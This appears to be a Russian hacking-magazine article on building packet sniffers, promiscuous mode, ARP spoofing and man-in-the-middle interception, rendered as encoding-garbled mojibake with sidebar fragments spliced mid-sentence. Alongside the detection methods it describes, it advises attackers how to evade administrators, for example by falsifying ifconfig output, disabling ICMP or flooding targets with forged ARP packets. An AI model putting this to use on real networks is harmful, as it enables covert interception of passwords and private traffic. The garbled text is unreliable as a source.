äÿùåãî ÷åðåç äàííûé õîñò. Áîëüøèí-
ñòâî ñíèôåðîâ ïðåäñòàâëÿþò ñîáîé
âïîëíå ëåãàëüíûå ñðåäñòâà ìîíèòî-
ðèíãà è íå òðåáóþò óñòàíîâêè äîïîë-
íèòåëüíîãî îáîðóäîâàíèÿ. Òåì íå ìå-
íåå, èõ èñïîëüçîâàíèå â îáùåì ñëó-
÷àå íåçàêîííî èëè æå ïðåäïîëàãàåò
ñîîòâåòñòâóþùèå ïîëíîìî÷èÿ (íàïðè-
ìåð, ìîíòåð ìîæåò ïîäêëþ÷àòüñÿ ê òå-
ëåôîííûì ïðîâîäàì, à òû � íåò).
Êñòàòè ãîâîðÿ, ñëîâî "sniffer" ÿâëÿåò-
ñÿ òîðãîâîé ìàðêîé êîìïàíèè Network
Associates, ðàñïðîñòðàíÿþùåé ñåòå-
âîé àíàëèçàòîð "Sniffer(r) Network
Analyzer". Èñïîëüçîâàòü ýòîò òåðìèí
â îòíîøåíèè äðóãèõ ïðîãðàìì ñ þðè-
äè÷åñêîé òî÷êè íåïðàâîìåðíî , íî�
XEROX òîæå òîðãîâàÿ ìàðêà, à â ïðîñ-
òîðå÷èè âñå êîïèðîâàëüíûå àïïàðàòû
íåçàâèñèìî îò ïðîèçâîäèòåëÿ íàçû-
âàþò "êñåðîêñàìè", è íèêòî îò ýòîãî
åùå íå ïîñòðàäàë.

Îáúåêòîì àòàêè ìîãóò âûñòóïàòü: ëî-
êàëüíàÿ ñåòü (êàê õàáîâîé, òàê è ñâèò-
÷åâîé àðõèòåêòóðû), ãëîáàëüíàÿ ñåòü
(äàæå ïðè ìîäåìíîì ïîäêëþ÷åíèè!),
ñïóòíèêîâûé è ìîáèëüíûé èíòåðíåò,

áåñïðîâîäíûå ñðåäñòâà ñâÿçè (ÈÊ,
«ãîëóáîé çóá») è ò.ä. Â îñíîâíîì ìû
áóäåì ãîâîðèòü î ëîêàëüíûõ ñåòÿõ, à
âñå îñòàëüíûå îáúåêòû ðàññìîòðèì
ëèøü êðàòêî, òàê êàê îíè òðåáóþò ñîâ-
ñåì äðóãîãî ïîäõîäà.

Ïî ìåòîäó âîçäåéñòâèÿ íà æåðòâó
ñóùåñòâóþùèå àòàêè ìîæíî ðàçäå-
ëèòü íà äâà òèïà: ïàññèâíûå è àêòèâ-
íûå. Ïàññèâíûé ñíèôèíã ïîçâîëÿåò
ïåðåõâàòûâàòü ëèøü òó ÷àñòü òðàôè-
êà, êîòîðàÿ ôèçè÷åñêè ïðîõîäèò ÷å-
ðåç äàííûé óçåë. Âñå îñòàëüíîå ìî-
æåò áûòü ïîëó÷åíî ëèøü ïóòåì ïðÿ-
ìîãî âìåøàòåëüñòâà â ñåòåâûå ïðî-
öåññû (ìîäèôèêàöèÿ òàáëèö ìàðøðó-
òèçàöèè, îòïðàâêà ïîäëîæíûõ ïàêå-
òîâ è ò.ä.). 

ÏÀÑÑÈÂÍÛÉ
ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ

Ëîêàëüíàÿ ñåòü óæå äàâíî ñòàëà
ïîíèìàòüñÿ ñèíîíèìè÷íî Ethernet, à â
Ethernet-ñåòÿõ, ïîñòðîåííûõ ïî òîïî-
ëîãèè îáùåé øèíû, êàæäûé èñïóñêàå-
ìûé ïàêåò äîñòàâëÿåòñÿ âñåì ó÷àñòíè-
êàì ñåòè. Ñåòåâàÿ êàðòà íà àïïàðàòíîì
óðîâíå àíàëèçèðóåò çàãîëîâêè ïàêå-
òîâ (ôðåéìîâ) è ñâåðÿåò ñâîé ôèçè-
÷åñêèé àäðåñ (òàê æå íàçûâàåìûé
MAC-àäðåñîì) ñ àäðåñîì, ïðîïèñàííîì
â Ethernet-çàãîëîâêå, ïåðåäàâàÿ íà IP-
óðîâåíü òîëüêî "ñâîè" ïàêåòû.

Äëÿ ïåðåõâàòà òðàôèêà êàðòó íåîá-
õîäèìî ïåðåâåñòè â íåðàçáîð÷èâûé
(promiscuous) ðåæèì, â êîòîðîì íà IP-

óðîâåíü ïåðåäàåòñÿ
âñå ïðèíÿòûå ïàêåòû.
Íåðàçáîð÷èâûé ðå-
æèì ïîääåðæèâàåò
ïîäàâëÿþùåå áîëü-
øèíñòâî ñòàíäàðòíûõ
êàðò, ïðîâîöèðóÿ èç-
ëèøíå ëþáîïûòíûõ
ïîëüçîâàòåëåé íà
ïðîíèêíîâåíèå â èí-
òèìíóþ æèçíü îñ-
òàëüíûõ ó÷àñòíèêîâ
ñåòè.

Ïåðåõîä íà âèòóþ
ïàðó ñ êîíöåíòðàòî-
ðîì íè÷åãî íå ìåíÿåò
� îòïðàâëÿåìûå ïàêå-
òû äóáëèðóþòñÿ íà

êàæäûé âûõîä õàáà è ãðàáÿòñÿ ïî òîé
æå ñàìîé ñõåìå. Êîììóòàòîð, ñàìîñòî-
ÿòåëüíî àíàëèçèðóþùèé çàãîëîâêè
ïàêåòîâ è äîñòàâëÿþùèé èõ òîëüêî
òåì óçëàì, äëÿ êîòîðûõ îíè ïðåäíàç-
íà÷åíû, ïðåäîòâðàùàåò ïàññèâíûé
ïåðåõâàò, âûíóæäàÿ àòàêóþùåãî ïå-
ðåõîäèòü ê àêòèâíûì äåéñòâèÿì.

Òàêèì îáðàçîì, äëÿ ðåàëèçàöèè ïàñ-
ñèâíîãî ñíèôèíãà ìû äîëæíû ïåðå-
âåñòè ñåòåâóþ êàðòó â íåðàçáîð÷è-
âûé ðåæèì è ñîçäàòü ñûðîé (raw) ñî-
êåò, äàþùèé äîñòóï êî âñåìó, ÷òî âà-
ëèòñÿ íà äàííûé IP-èíòåðôåéñ. Îáû÷-
íûå ñîêåòû äëÿ ýòîé öåëè íå ïîäõî-
äÿò, ïîñêîëüêó ïðèíèìàþò òîëüêî ÿâ-
íî àäðåñîâàííûå èì ïàêåòû, ïîñòóïà-
þùèå íà çàäàííûé ïîðò. Ëåãàëüíûå
ñíèôåðû ÷àùå âñåãî èñïîëüçóþò
êðîññ-ïëàòôîðìåííóþ áèáëèîòåêó
libpcap, îäíàêî íàñòîÿùèå õàêåðû
ïðåäïî÷èòàþò ðàçðàáàòûâàòü ÿäðî
ñíèôåðà ñàìîñòîÿòåëüíî.

Îïåðàöèîííûå ñèñòåìû *nix áëîêè-
ðóþò ïðÿìîé äîñòóï ê îáîðóäîâàíèþ
ñ ïðèêëàäíîãî óðîâíÿ (òàê ÷òî ïåðåï-
ðîãðàììèðîâàòü ñåòåâóþ êàðòó ïðîñòî
òàê íå óäàñòñÿ), îäíàêî âñå æå ïðåäîñ-
òàâëÿþò ñïåöèàëüíûå ðû÷àãè äëÿ ïå-
ðåâîäà èíòåðôåéñà â íåðàçáîð÷èâûé
ðåæèì, ïðàâäà, â ðàçëè÷íûõ íèêñàõ
ýòè ðû÷àãè î÷åíü ðàçíûå, ÷òî ñóùåñò-
âåííî óñëîæíÿåò íàøó çàäà÷ó.

Â ñîñòàâ BSD âõîäèò ñïåöèàëüíûé
ïàêåòíûé ôèëüòð (BPF � BSD Packet
Filter), ïîääåðæèâàþùèé ãèáêóþ ñõå-
ìó âûáîðî÷íîãî ïåðåõâàòà ÷óæèõ ïà-
êåòîâ è ñîîòâåòñòâóþùèé óñòðîéñòâó
/dev/bpf. Ïåðåâîä èíòåðôåéñà â íå-
ðàçáîð÷èâûé ðåæèì îñóùåñòâëÿåòñÿ
ïîñðåäñòâîì IOCTL è âûãëÿäèò ïðèá-
ëèçèòåëüíî òàê: 

ioctl(fd, BIOCPROMISC, 0), 
ãäå fd � äåñêðèïòîð èíòåðôåéñà, à

BIOCPROMISC � óïðàâëÿþùèé IOCTL-
êîä. Â Solaris'å âñå îñóùåñòâëÿåòñÿ
àíàëîãè÷íî, íå ñîâïàäàåò òîëüêî
IOCTL-êîä è óñòðîéñòâî íàçûâàåòñÿ íå
bpf, à hme. Ïîõîæèì îáðàçîì âåäåò
ñåáÿ è SunOS, ïðåäîñòàâëÿþùàÿ ïî-
òîêîâûé äðàéâåð ïñåâäîóñòðîéñòâà
nit, òàêæå íàçûâàåìûé êðàíèêîì â ñå-
òåâîì èíòåðôåéñå (NIT � Network
Interface Tap). Â îòëè÷èå îò ïàêåòíîãî
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Ñëîâî "snif-
fer" ÿâëÿåò-
ñÿ òîðãîâîé
ìàðêîé êîì-
ïàíèè
Network
Associates,
ðàñïðîñòðà-
íÿþùåé ñå-
òåâîé àíà-
ëèçàòîð
"Sniffer(r)
Network
Analyzer".

Áîëüøèí-
ñòâî ñíèôå-
ðîâ ïðåäñ-
òàâëÿþò ñî-
áîé âïîëíå
ëåãàëüíûå
ñðåäñòâà
ìîíèòîðèí-
ãà è íå òðå-
áóþò óñòà-
íîâêè äî-
ïîëíèòåëü-
íîãî îáîðó-
äîâàíèÿ.

Cíèôåð çà ðàáîòîé

ÐÛÁÍÀß ËÎÂËß Â ËÎÊÀËÜÍÎÉ ÑÅÒÈ28 ÂÇËÎÌ

Ñ åòåâîé òðàôèê ñîäåðæèò óéìó èíòåðåñíîãî - ïàðîëè, íîìåðà êðåäèòíûõ êàðò, êîíôèäåíöèàëüíóþ ïåðåïèñêó, è âñå
ýòî ìîæåò ñòàòü äîñòîÿíèåì çëîóìûøëåííèêà, åñëè òîò çàáðîñèò â ñåòü ñíèôåð. Ïåðåõâàò èíôîðìàöèè � çàíÿòèå

íàñòîëüêî æå èíòåðåñíîå, íàñêîëüêî è íåáåçîïàñíîå. Ïîïóëÿðíûå ñíèôåðû íèêàê íå ñêðûâàþò ñâîåãî ïðèñóòñòâèÿ è
ëåãêî îáíàðóæèâàþòñÿ àäìèíèñòðàòîðàìè. Òåì, êòî îïàñàåòñÿ ðàñïðàâû, ìû ìîæåì ïîñîâåòîâàòü òîëüêî îäíî - íå
çàíèìàòüñÿ ïîäîáíûìè âåùàìè. Íó à íåóãîìîííûì ýêñïåðèìåíòàòîðàì ëó÷øå íàïèñàòü ñâîé ñîáñòâåííûé ñíèôåð, è ýòà
ñòàòüÿ ïîäñêàæåò êàê.



ôèëüòðà BPF, ïîòîêîâûé ôèëüòð NIC
ïåðåõâàòûâàåò òîëüêî âõîäÿùèå ïà-
êåòû, ïîçâîëÿÿ èñõîäÿùèì ïðîøìûã-
íóòü ìèìî íåãî. Ê òîìó æå îí íàìíîãî
ìåäëåííåå ðàáîòàåò. Èíóþ ñõåìó ãðà-
áåæà òðàôèêà ðåàëèçóåò ÎÑ Linux,
ïîääåðæèâàþùàÿ ñïåöèàëüíûå
IOCTL-êîäû äëÿ âçàèìîäåéñòâèÿ ñ
ñåòüþ íà óðîâíå äðàéâåðîâ. Ïðîñòî
ñîçäàé ñûðîé ñîêåò âûçîâîì socket
(PF_PACKET, SOCK_RAW, int proto-
col) è ïåðåâåäè ñâÿçàííûé ñ íèì èí-
òåðôåéñ â íåðàçáîð÷èâûé ðåæèì: 

ifr.ifr_flags |= IFF_PROMISC; ioctl (s,
SIOCGIFFLAGS, ifr), 

ãäå s � äåñêðèïòîð ñîêåòà, à ifr � èí-
òåðôåéñ.

Ïîëíîñòüþ ãîòîâóþ ê óïîòðåáëåíèþ
ôóíêöèþ, ïîäãîòàâëèâàþùóþ ñûðîé
ñîêåò ê ðàáîòå ñ ïåðåâîäîì èíòåð-
ôåéñà â íåðàçáîð÷èâûé ðåæèì è ïîä-
äåðæèâàþùóþ áîëüøîå êîëè÷åñòâî
ðàçëè÷íûõ îïåðàöèîííûõ ñèñòåì, êàê
òî: SunOS, Linux, FreeBSD, IRIX è
Solaris, ìîæíî ëåãêî âûäðàòü èç ñíè-
ôåðà, èñõîäíûé òåêñò êîòîðîãî íàõî-
äèòñÿ ïî àäðåñó: http://packetstormsecuri-
ty.org/sniffers/gdd13.c.

ÎÁÍÀÐÓÆÅÍÈÅ
ÏÀÑÑÈÂÍÎÃÎ ÏÅÐÅÕÂÀÒÀ

Ïåðåâîä èíòåðôåéñà â íåðàçáîð-
÷èâûé ðåæèì íå ïðîõîäèò áåññëåäíî

è ëåãêî îáíàðóæèâàåòñÿ óòèëèòîé
ifconfig, îòîáðàæàþùåé åãî ñòàòóñ,
ïðàâäà, äëÿ ýòîãî àäìèíèñòðàòîð äîë-
æåí èìåòü âîçìîæíîñòü óäàëåííîãî
çàïóñêà ïðîãðàìì íà ìàøèíå àòàêóþ-
ùåãî, ÷åìó àòàêóþùèé ìîæåò ëåãêî
âîñïðåïÿòñòâîâàòü èëè ìîäèôèöèðî-
âàòü êîä ifconfig (è äðóãèõ àíàëîãè÷-
íûõ åé óòèëèò) òàê, ÷òîáû îíà âûäàâà-
ëà ïîäëîæíûå äàííûå. Êñòàòè ãîâîðÿ,
çàñûëàÿ ñíèôåð íà êàêîé-ëèáî
êîìïüþòåð, âñåãäà íóæíî ïîìíèòü,
÷òî åãî ïðèñóòñòâèå â ïîäàâëÿþùåì
áîëüøèíñòâå ñëó÷àåâ îáíàðóæèâàåò-
ñÿ èìåííî ïî ifconfig!

Ìíîãèå ëåãàëüíûå ñíèôåðû àâòîìà-
òè÷åñêè ðåçîëâÿò âñå ïîëó÷åííûå IP-
àäðåñà, âûäàâàÿ àòàêóþùåãî ñ ãîëî-
âîé. Àäìèíèñòðàòîð ïîñûëàåò ïàêåò
íà íåñóùåñòâóþùèé MAC-àäðåñ îò/íà
íåñóùåñòâóþùåãî IP. Óçåë, ïîèíòåðå-
ñîâàâøèéñÿ äîìåííûì èìåíåì äàííî-
ãî IP, è áóäåò óçëîì àòàêóþùåãî. Åñòå-
ñòâåííî, åñëè àòàêóþùèé èñïîëüçóåò
ñîáñòâåííûé ñíèôåð, âûðóáèò DNS â
íàñòðîéêàõ ñåòåâîãî ñîåäèíåíèÿ èëè
îãðàäèò ñåáÿ ëîêàëüíûì áðàíäìàóý-
ðîì, àäìèíèñòðàòîð îñòàíåòñÿ íàåäè-
íå ñî ñâîåé çàäíèöåé.

Êàê âàðèàíò, àäìèíèñòðàòîð ìîæåò
ïîñëàòü íà íåñóùåñòâóþùèé MAC-àä-
ðåñ ïàêåò, ïðåäíàçíà÷åííûé äëÿ àòàêó-
þùåãî (ñ äåéñòâèòåëüíûì IP-àäðåñîì è

ïîðòîì îòâå÷àþùåé ñëóæáû, íàïðè-
ìåð, ICMP ECHO, áîëåå èçâåñòíîé êàê
ping). Ðàáîòàÿ â íåðàçáîð÷èâîì ðåæè-
ìå, ñåòåâàÿ êàðòà ïåðåäàñò òàêîé ïàêåò
íà IP-óðîâåíü, è òîò áóäåò áëàãîïîëó÷-
íî îáðàáîòàí ñèñòåìîé, àâòîìàòè÷åñêè
ãåíåðèðóþùåé ýõî-îòâåò. ×òîáû íå óãî-
äèòü â ëîâóøêó, àòàêóþùèé äîëæåí
îòêëþ÷èòü ICMP è çàêðûòü âñå TCP-
ïîðòû, ÷òî ìîæíî ñäåëàòü ñ ïîìîùüþ
òîãî æå áðàíäìàóýðà, êîíå÷íî, ïðè óñ-
ëîâèè, ÷òî òîò íå îòêðûâàåò íèêàêèõ
äîïîëíèòåëüíûõ ïîðòîâ (à áîëüøèí-
ñòâî áðàíäìàóýðîâ èõ îòêðûâàþò).

Ìåæäó ïðî÷èì, ãðàáåæ òðàôèêà òðå-
áóåò îùóòèìûõ ïðîöåññîðíûõ ðåñóð-
ñîâ, è ìàøèíà íà÷èíàåò çàìåòíî òîð-
ìîçèòü. Íó, òîðìîçèò, è ôèã ñ íåé �
êàêèå ïðîáëåìû? À âîò êàêèå. Àäìè-
íèñòðàòîð äåëàåò óçëó àòàêóþùåãî
ping è çàñåêàåò ñðåäíåå âðåìÿ îòêëè-
êà. Çàòåì íàïðàâëÿåò øòîðì ïàêåòîâ
íà íåñóùåñòâóþùèå (èëè ñóùåñòâóþ-
ùèå) MAC-àäðåñà, ïîñëå ÷åãî ïîâòî-
ðÿåò ping. Èçìåíåíèå âðåìåíè îòêëè-
êà ïîëíîñòüþ äåìàñêèðóåò ôàêò ïå-
ðåõâàòà, è, ÷òîáû ýòîìó ïðîòèâîñòî-
ÿòü, àòàêóþùèé äîëæåí ëèáî çàïðå-
òèòü ICMP ECHO (÷òî âûçîâåò ñåðüåç-
íûå ïîäîçðåíèÿ), ëèáî ñòàáèëèçèðî-
âàòü âðåìÿ îòêëèêà, âñòàâëÿÿ òî èëè
èíîå êîëè÷åñòâî õîëîñòûõ çàäåðæåê
(äëÿ ýòîãî åìó ïðèäåòñÿ ìîäèôèöèðî-
âàòü êîä ýõî-äåìîíà).

Ðàçóìååòñÿ, ñóùåñòâóþò è äðóãèå
ñïîñîáû îáíàðóæåíèÿ ïàññèâíîãî ïå-
ðåõâàòà òðàôèêà. Íàïðèìåð, àäìèíè-
ñòðàòîð ïóñêàåò ïî ñåòè ïîäëîæíûé
ïàðîëü, ÿêîáû ïðèíàäëåæàùèé root'ó,
à ñàì çàëåãàåò â çàñàäó è æäåò, ÷òî çà
çâåðü â ýòó ëîâóøêó ïîïàäåòñÿ, ïîñëå
÷åãî íàïðàâëÿåò ïî ñîîòâåòñòâóþùå-
ìó àäðåñó áðèãàäó êàðàòèñòîâ áûñòðî-
ãî ðåàãèðîâàíèÿ.

ÀÊÒÈÂÍÛÉ ÏÅÐÅÕÂÀÒ, 
ÈËÈ ARP-ÑÏÓÔÈÍÃ

Îòïðàâëÿÿ ïàêåò íà çàäàííûé IP-àä-
ðåñ, ìû, î÷åâèäíî, äîëæíû äîñòàâèòü
åãî êàêîìó-òî óçëó. Íî êàêîìó? Âåäü ñå-
òåâàÿ êàðòà îïåðèðóåò èñêëþ÷èòåëüíî
ôèçè÷åñêèìè MAC-àäðåñàìè, à ïðî IP
íè÷åãî íå çíàåò! Ñëåäîâàòåëüíî, íàì íå-
îáõîäèìà òàáëèöà ñîîòâåòñòâèÿ MAC- è
IP-àäðåñîâ. Ïîñòðîåíèåì òàêîé òàáëèöû
çàíèìàåòñÿ îïåðàöèîííàÿ ñèñòåìà, è äå-
ëàåò ýòî îíà ïðè ïîìîùè ïðîòîêîëà
ARP (Address Resolution Protocol � ïðî-
òîêîë ðàçðåøåíèÿ àäðåñîâ). Åñëè ôèçè-
÷åñêèé àäðåñ ïîëó÷àòåëÿ íåèçâåñòåí, â
ñåòü îòïðàâëÿåòñÿ øèðîêîâåùàòåëüíûé
çàïðîñ òèïà: "Îáëàäàòåëü äàííîãî IP, ñî-
îáùèòå ñâîé MAC". Ïîëó÷èâ îòâåò, óçåë
çàíîñèò åãî â ëîêàëüíóþ ARP-òàáëèöó,
äëÿ íàäåæíîñòè ïåðèîäè÷åñêè îáíîâ-
ëÿÿ åå (ôàêòè÷åñêè ARP-òàáëèöà ïðåäñ-
òàâëÿåò ñîáîé îáûêíîâåííûé êýø). Â
çàâèñèìîñòè îò òèïà îïåðàöèîííîé ñèñ-
òåìû è åå êîíôèãóðàöèè èíòåðâàë îá-
íîâëåíèÿ ìîæåò âàðüèðîâàòüñÿ â äèà-
ïàçîíå îò 30 ñåê. äî 20 ìèí.

Íèêàêîé àâòîðèçàöèè äëÿ îáíîâëå-
íèÿ ARP-òàáëèöû íå òðåáóåòñÿ, áîëåå
òîãî, áîëüøèíñòâî îïåðàöèîííûõ ñèñ-
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Ïàññèâíûé
ñíèôèíã
ïîçâîëÿåò
ïåðåõâàòû-
âàòü ëèøü
òó ÷àñòü
òðàôèêà,
êîòîðàÿ ôè-
çè÷åñêè
ïðîõîäèò
÷åðåç äàí-
íûé óçåë.

Õàáîì (îò àíãë. hub � ñòóïèöà êîëåñà), èëè êîíöåíòðàòîðîì, íà-
çûâàþò ìíîãîïîðòîâûé ðåïèòåð (ïîâòîðèòåëü). Ïîëó÷èâ äàííûå íà
îäèí èç ïîðòîâ, ðåïèòåð íåìåäëåííî ïåðåíàïðàâëÿåò èõ íà îñòàëü-
íûå ïîðòû. Â êîàêñè-
àëüíûõ ñåòÿõ ðåïèòåð
íå ÿâëÿåòñÿ îáÿçà-
òåëüíûì êîìïîíåí-
òîì, è ïðè ïîäêëþ÷å-
íèè ìåòîäîì îáùåé
øèíû ìîæíî îáîé-
òèñü áåç íåãî.

Â ñåòÿõ íà âèòîé ïàðå è êîàêñèàëüíûõ
ñåòÿõ, ïîñòðîåííûõ ïî òîïîëîãèè
«çâåçäà», ðåïèòåð ïðèñóòñòâóåò èçíà-
÷àëüíî.

Ñâèò÷ (îò àíãë. switch � êîììóòàòîð),
òàêæå íàçûâàåìûé èíòåëëåêòóàëüíûì
õàáîì/ìàðøðóòèçàòîðîì, ïðåäñòàâëÿ-
åò ñîáîé ðàçíîâèäíîñòü ðåïèòåðà, ïå-
ðåäàþùåãî äàííûå òîëüêî íà ïîðò òî-
ãî óçëà, êîòîðîìó îíè àäðåñîâàíû, ÷òî ïðåäîòâðàùàåò âîçìîæ-
íîñòü ïåðåõâàòà òðàôèêà (âî âñÿêîì ñëó÷àå, òåîðåòè÷åñêè).

ÕÀÁÛ È ÓÕÀÁÛ

Òîïîëîãèÿ îáùåé øèíû

Òîïîëîãèÿ «çâåçäà»

Ìíîãèå ëåãàëüíûå ñíèôåðû àâòîìàòè÷åñêè 
ðåçîëâÿò âñå ïîëó÷åííûå IP-àäðåñà, 

âûäàâàÿ àòàêóþùåãî ñ ãîëîâîé. 



òåì áëàãîïîëó÷íî ïåðåâàðèâàþò ARP-
îòâåòû, äàæå åñëè èì íå ïðåäøåñòâî-
âàëè ñîîòâåòñòâóþùèå ARP-çàïðîñû
(SunOS � îäíà èç íåìíîãèõ, êòî íå
ïîçâîëÿåò îáìàíóòü ñåáÿ ïîäîáíûì
îáðàçîì, è ïîòîìó ïîäëîæíûé ARP-
ïàêåò äîëæåí áûòü îòïðàâëåí òîëüêî
ïîñëå ñîîòâåòñòâóþùåãî ARP-çàïðî-
ñà, íî äî ïðèõîäà ïîäëèííîãî îòâåòà).

Äëÿ çàõâàòà ÷óæîãî IP àòàêóþùåìó
äîñòàòî÷íî ïîñëàòü ïîäëîæíûé ARP-
çàïðîñ, êîòîðûé ìîæåò áûòü êàê öåëå-
íàïðàâëåííûì, òàê è øèðîêîâåùà-
òåëüíûì (äëÿ îòïðàâêè/ïðèåìà ARP-
ïàêåòîâ íåîáõîäèì äîñòóï ê ñûðûì ñî-
êåòàì èëè ñïåöèàëüíîìó API îïåðàöè-
îííîé ñèñòåìû, ïîäðîáíîñòè ìîæíî
ðàñêîâûâàòü â óòèëèòå arp). Äîïóñòèì,
àòàêóþùèé õî÷åò ïåðåõâàòèòü òðàôèê
ìåæäó óçëàìè "A" è "B". Îí ïîñûëàåò
óçëó "A" ïîäëîæíûé ARP-îòâåò, ñîäåð-
æàùèé IP-àäðåñ óçëà "B" è ñâîé MAC-
àäðåñ, à óçëó "B" � ARP-îòâåò ñ IP-àä-
ðåñîì óçëà "A" è ñâîèì MAC-àäðåñîì.
Îáà óçëà îáíîâëÿþò ñâîè ARP-òàáëè-
öû è âñå îòïðàâëÿåìûå èìè ïàêåòû
ïîïàäàþò íà óçåë çëîóìûøëåííèêà,
êîòîðûé ëèáî áëîêèðóåò, ëèáî äîñòàâ-
ëÿåò èõ ïîëó÷àòåëþ (âîçìîæíî, â ñëåã-
êà èçìåíåííîì âèäå, òî åñòü ðàáîòàåò
êàê ïðîêñè). Åñëè ïîñëàòü ïîäëîæíûé
ARP-ïàêåò ìàðøðóòèçàòîðó, àòàêóþ-
ùèé ñìîæåò ïåðåõâàòûâàòü è ïàêåòû,
ïðèõîäÿùèå èçâíå äàííîãî ñåãìåíòà
ñåòè. Àòàêà òàêîãî òèïà íàçûâàåòñÿ
MiM (ñîêðàùåíèå îò «Man-In-the-
Middle» � ÷åëîâåê ïîñåðåäèíå).

Êàê âàðèàíò, ìîæíî ïîñëàòü ïîä-
ëîæíûé ARP-îòâåò ñ íåñóùåñòâóþ-
ùèì MAC-àäðåñîì. Òîãäà ñâÿçü ìåæäó
"A" è "B" áóäåò óòåðÿíà, âïðî÷åì, ÷å-
ðåç íåêîòîðîå âðåìÿ îíà àâòîìàòè-
÷åñêè âîññòàíîâèòñÿ (âåäü ARP-òàá-
ëèöà äèíàìè÷åñêè îáíîâëÿåòñÿ!), è,
÷òîáû ýòîãî íå ïðîèçîøëî, àòàêóþ-

ùèé äîëæåí íàïðàâèòü íà æåðòâó
ìîùíûé ïîòîê ïîäëîæíûõ ïàêåòîâ.

Êñòàòè, åñëè ìàðøðóòèçàòîð íå óñïå-
âàåò ìàðøðóòèçèðîâàòü ïîñòóïàþùèå
ïàêåòû, îí àâòîìàòè÷åñêè ïåðåêëþ÷àåò-
ñÿ â øèðîêîâåùàòåëüíûé ðåæèì, ñòàíî-
âÿñü îáû÷íûì õàáîì. Çàãðóçèâ ìàðøðó-
òèçàòîð ðàáîòîé ïî ñàìûå ïîìèäîðû
(èëè äîæäàâøèñü ïèêîâîé çàãðóçêè ñå-
òè), àòàêóþùèé ìîæåò ïðåñïîêîéíî ñíè-
ôàòü òðàôèê è â ïàññèâíîì ðåæèìå.

ÎÁÍÀÐÓÆÅÍÈÅ
ÀÊÒÈÂÍÎÃÎ ÏÅÐÅÕÂÀÒÀ

Àêòèâíàÿ ïðèðîäà ARP-àòàêè äå-
ìàñêèðóåò çëîóìûøëåííèêà, è ñåòå-
âûå àíàëèçàòîðû òèïà arpwatch ëåãêî

îáíàðóæèâàþò ïåðåõâàò. Îíè ñìîòðÿò
âñå ïðîëåòàþùèå ïî ñåòè ïàêåòû (òî
åñòü ðàáîòàþò êàê ñíèôåð), âûòàñêè-
âàþò ARP-îòâåòû è ñêëàäûâàþò èõ â
áàçó äàííûõ, çàïîìèíàÿ, êàêîìó MAC-
àäðåñó ïðèíàäëåæèò êàêîé IP-àäðåñ.
Ïðè îáíàðóæåíèè íåñîîòâåòñòâèÿ àä-
ìèíèñòðàòîðó îòïðàâëÿåòñÿ e-mail, ê
ìîìåíòó ïîëó÷åíèÿ êîòîðîãî íàðóøè-
òåëü îáû÷íî óñïåâàåò ñêðûòüñÿ ñî
âñåì íàãðàáëåííûì òðàôèêîì. Ê òîìó,
æå â ñåòÿõ ñ DHCP (ñåðâåðîì äèíàìè-
÷åñêîé ðàçäà÷è IP-àäðåñîâ) arpwatch
âûäàåò áîëüøîå êîëè÷åñòâî ëîæíûõ
ñðàáàòûâàíèé, òàê êàê îäíîìó è òîìó
æå MAC-àäðåñó íàçíà÷àþòñÿ ðàçëè÷-
íûå IP-àäðåñà.
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Ïåðåâîä èí-
òåðôåéñà â
íåðàçáîð÷è-
âûé ðåæèì
íå ïðîõîäèò
áåññëåäíî è
ëåãêî îáíà-
ðóæèâàåòñÿ
óòèëèòîé
ifconfig.

Äëÿ ïåðåõ-
âàòà òðàôè-
êà êàðòó
íåîáõîäèìî
ïåðåâåñòè â
íåðàçáîð÷è-
âûé ðåæèì,
â êîòîðîì
íà IP-óðî-
âåíü ïåðå-
äàþòñÿ âñå
ïðèíÿòûå
ïàêåòû.

Àòàêà òèïà MiM ïîçâîëÿåò ïåðåõâàòûâàòü òðàôèê äàæå â
ñåòÿõ ñ êîììóòàòîðîì

Ðàçðûâ ñîåäèíåíèÿ ìåæäó óçëàìè

ÐÛÁÍÀß ËÎÂËß Â ËÎÊÀËÜÍÎÉ ÑÅÒÈ30 ÂÇËÎÌ

Äëÿ ïåðåõâàòà òðàôèêà íà ìîäåìíîì ïîäêëþ÷åíèè ÷åðåç îáû÷-
íóþ èëè ýëåêòðîííóþ ÀÒÑ (òî åñòü íå ÷åðåç êàáåëüíûé ìîäåì) íå-
îáõîäèìî ïåðåïðîãðàììèðîâàòü ìàðøðóòèçàòîð, íàõîäÿùèéñÿ ó
ïðîâàéäåðà, ÷òî íåïðîñòî ñäåëàòü, îäíàêî ó áîëüøèíñòâà ïðîâàé-
äåðîâ îí òàê êðèâî íàñòðîåí, ÷òî ïîñòîðîííèé òðàôèê ñûïëåòñÿ
ñàì � òîëüêî óñïåâàé ïðèíèìàòü. Â îñíîâíîì îí ñîñòîèò èç îáðûâ-
êîâ áåññâÿçíîãî ìóñîðà, íî ïîðîé â íåì âñòðå÷àåòñÿ êîå-÷òî èíòå-
ðåñíîå (íàïðèìåð, ïàðîëè íà ïî÷òîâûå ÿùèêè).

Ñ äðóãîé ñòîðîíû, ïåðåõâàò Dial-Up òðàôèêà ïîçâîëÿåò èññëåäî-
âàòü âñå ïàêåòû, ïðèíèìàåìûå/îòïðàâëÿåìûå òâîåé ìàøèíîé. Êîã-
äà îãîíåê ìîäåìà âîçáóæäàþùå ìèãàåò, íî íè áðàóçåð, íè ïî÷òî-
âûé êëèåíò, íè ôàéëîêà÷àëêà íå àêòèâíû, ðàçâå íå èíòåðåñíî óç-
íàòü, êàêàÿ çàðàçà ëîìèòüñÿ â ñåòü, ÷òî è êóäà îíà ïåðåäàåò? Âîò
òóò-òî ëîêàëüíûé ñíèôåð è ïîìîãàåò!

Íå âñå ñíèôåðû ïîääåðæèâàþò ñîåäèíåíèÿ òèïà PPP, õîòÿ ñ òåõíè-
÷åñêîé òî÷êè çðåíèÿ ýòî äàæå ïðîùå, ÷åì ãðàáèòü Ethernet. Ïåðåâî-
äèòü ñåòåâóþ êàðòó â íåðàçáîð÷èâûé ðåæèì íå íóæíî, äîñòàòî÷íî
ëèøü ñôîðìèðîâàòü ñûðîé IP-ñîêåò. Ïðàâäà, åñëè îïåðàöèîííàÿ
ñèñòåìà ñîçäàåò äëÿ PPP-ñîåäèíåíèÿ âèðòóàëüíûé ñåòåâîé àäàïòåð,
òî ñèòóàöèÿ ñòàíîâèòñÿ íåîäíîçíà÷íîé. Íåêîòîðûå äðàéâåðà òðåáó-
þò ïåðåõîäà â íåðàçáîð÷èâûé ðåæèì, íåêîòîðûå � íåò. Çà ïîäðîá-
